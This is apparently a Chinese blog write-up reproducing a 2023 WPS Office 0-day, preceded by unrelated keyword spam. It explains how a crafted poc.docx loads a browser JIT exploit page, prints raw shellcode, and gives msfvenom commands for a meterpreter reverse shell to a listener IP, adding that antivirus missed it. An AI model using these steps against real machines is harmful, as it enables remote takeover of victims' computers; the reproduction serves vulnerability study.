手机怎么做黑网站吗,中国工商查询企业信息官网,蓟县做网站,wordpress的站 做固定链接301重定向对百度的影响WPS-0DAY-20230809的分析和初步复现 一、漏洞学习1、本地复现环境过程 2、代码解析1.htmlexp.py 3、通过修改shellcode拿shell曲折的学习msf生成sc 二、疑点1、问题2、我的测试测试方法测试结果 一、漏洞学习
强调#xff1a;以下内容仅供学习和测试#xff0c;一切行为均在… WPS-0DAY-20230809的分析和初步复现 一、漏洞学习1、本地复现环境过程 2、代码解析1.htmlexp.py 3、通过修改shellcode拿shell曲折的学习msf生成sc 二、疑点1、问题2、我的测试测试方法测试结果 一、漏洞学习
强调以下内容仅供学习和测试一切行为均在本地进行。利用本文复现该漏洞后切勿从事侵权或违反《网络安全法》的行为若造成任何后果本人概不负责。 针对网上传的版本和github上公开的版本提前备份一下两个版本的zip和复现成功的虚拟机已经整合至下载板块的“WPS-0DAY-20230809”——审核结果将在2-10个工作日完成上传进行了复现并实现了getshell的操作由于是第一次接触shellcode略显生疏各位大佬多多包涵。这里分享一下自己的学习经过也希望大佬能解答一下文末的疑点。
1、本地复现
B站上也有其他大佬本地复现的视频可以自行搜索观看。
环境
Windows 10 企业版2H22、wps12300、phpstudy8.1.1.3其他火绒最新版、winrar 我镜像里面那个idea的安装包没啥用纯粹是复现某个java的cms用的这个快照也没安装emmmwinrar自己下一个吧我就懒得再打包一个快照了。皮一下很开心~
过程
小皮起个本地网站将1.html放进去开启apache2即可 修改hosts文件重启网站可以直接下载我整理的资料到文档里复制如果自己手中有资源或者愿意打字当我没说。 双击poc.docx并打开 本地复现成功。
2、代码解析
这里因为学识有限找个AI读了一下。
1.html
当分析这个代码段时我们可以看到它实际上在利用一个 WebKit浏览器引擎中的漏洞来实现对浏览器内存的非法访问和控制。以下是代码的主要漏洞利用部分的分析
Memory Corruption: 在代码中的 foo 函数中利用了一个 JIT (Just-In-Time) 编译器的漏洞通过触发对函数的 JIT 编译创建了一些特定的数据结构这些结构在内存中存储了相互关联的函数和对象。但由于编译器的缺陷这些结构可能被损坏导致后续访问时产生内存错误。
Out-of-Bounds Access: 在代码中的 addrof 和 fakeobj 函数中利用了一个越界访问漏洞通过操纵数组的边界条件可以读写数组之外的内存。具体来说通过修改数组的长度和元素可以实现越界读取和写入操作。
Arbitrary Read/Write: 通过越界访问可以读写到特定内存位置甚至可以读写到具有敏感权限的内存区域。这允许了对一些内存结构进行读写从而绕过浏览器的内存保护机制。
WebAssembly and Shellcode Execution: 通过创建 WebAssembly 模块并将其中的 shellcode一段具有特定功能的二进制代码写入内存代码实现了对内存区域的写入即将 shellcode 写入浏览器内存。之后通过调用 WebAssembly 实例中的函数实际上在浏览器中执行了 shellcode。
Exploitation: 总的来说代码通过越界访问和内存错误成功地修改了浏览器内存中的数据结构并实现了对内存的非法读写。通过写入 shellcode 并执行它代码最终实现了对浏览器中的操作系统层面的控制。
需要注意的是这是一个非常复杂的漏洞利用利用了多个不同的漏洞点包括 JIT 编译器的缺陷、越界访问等。此类漏洞利用在现代浏览器中是极其罕见的浏览器供应商通常会及时修复这些问题以保护用户的安全。然而这也强调了编写安全的 JavaScript 代码以及保持浏览器更新的重要性。
exp.py
这段代码是一个 Python 脚本主要用于修改 Microsoft Word 文档中的链接。它使用了 lxml 库来解析和处理 XML 数据以及 zipfile 库来操作 Office Open XML (OOXML) 格式的 Word 文档.docx 文件。
replace_url_in_docx函数打开指定的 .docx 文件查找并替换其中的 URL。 具体步骤如下 打开 .docx 文件使用 “a” 模式表示追加模式。 在 zip 压缩文件中查找 webExtension1.xml 文件的路径。 如果找不到 webExtension1.xml 文件输出错误信息并关闭文件。 读取 webExtension1.xml 文件的内容。 解析 XML 内容得到根元素。 使用特定的命名空间查找 标签并替换其中的 URL。 将修改后的 XML 内容写回压缩文件。 关闭压缩文件。
其他的都代码没什么解析这段代码主要就是为了复现这个“poc.docx”但是并没有制造出这个poc.docx具体的测试会在最后的疑点中阐述。
3、通过修改shellcode拿shell
曲折的学习
不得不感慨还好身边有些懂行的大佬不然复现shellcode的思路都没有必须感谢一下“.”和“PMR”昵称的指导。 这里主要吐槽一下我对shellcode的第一映像大佬们可以当个笑话乐一下。 1.html中有这样一段shellcode套了下AI的话它告诉我这是x86的机器码十六进制ASCII解码后里面有个“calc”就是倒数第五个到倒数第二个。 我想着那就解密一下呗现在看起来当时自己是真的蠢但是存在函数无法识别的字符那就写个脚本一一对应的替换一下呗。 结果接长这样emmmm替换calc为charmap再加密试试然后不出意外的失败了。
üè‚NULNULNUL‰å1Àd‹P0‹RFF‹RDC4‹r(SI·J1ÿ¬a|STX,
ÁÏCRSOHÇâòRW‹RDLE‹J‹LDC1xãHSOHÑQ‹Y
SOHÓ‹ICANã:I‹4‹SOHÖ1ÿ¬ÁÏCRSOHÇ8àuöETX}ø;}$uäX‹X$SOHÓf‹FFK‹XFSSOHÓ‹EOT‹SOHЉD$$[[aYZQÿà__Z‹DC2ë
]jSOH
…²NULNULNULPh1‹o‡ÿÕ»àGS*LFh¦•½
ÿÕACK|LF€ûàuENQ»GDC3rojNULSÿÕcalcNULmsf生成sc
好了下面就是成功的结果了kali终端执行一下就可以得到和网传的版本一模一样的结果了。
msfvenom -a x86 -p windows/exec CMDcalc EXITFUNCthread -f num然后要拿shell就用最常规的payload同样设置-f为num就可以了。
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST10.1.1.181 LPORT9999 EXITFUNCthread -f num接着muti/hander监听一下把生成的shellcode那道nodepad里面删除一下“\r\n”复制并覆盖1.html的const shellcode里就行了。 最后双击poc.docx因为懒没有在kali启80搭1.html如果你想要严谨一点自己在kali配置就可以了拿到shell。 哦对了再白一句火绒没检测出来。
二、疑点
1、问题
直接说我的疑惑image到底是什么为什么它会影响漏洞的复现
2、我的测试
测试方法
winrar直接打开poc.docx进行对照实验。
测试结果
不是很了解wps的文件结构以下结论对于大佬来说可能不算什么结果 1xlsx文件poc.docx\word\embeddings\Workbook1.xlsx删了倒是无所谓poc还可以正常执行而且正常生成的docx没有该文档。 2执行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通过wps的加载项加载一个xml——这个poc.docx的构建黑客一定操作了这一步因为正常生成的docx文件没有webExtensions目录。 3windows过期或者未激活状态复现失败。 本对照实验仅为一次简单的测试可能存在未考虑的因素这里分享另外两位大佬的测试流程。 https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA 本人测试结果与其存在差异或存在错误均为能力所困实属正常本测试结果仅供参考。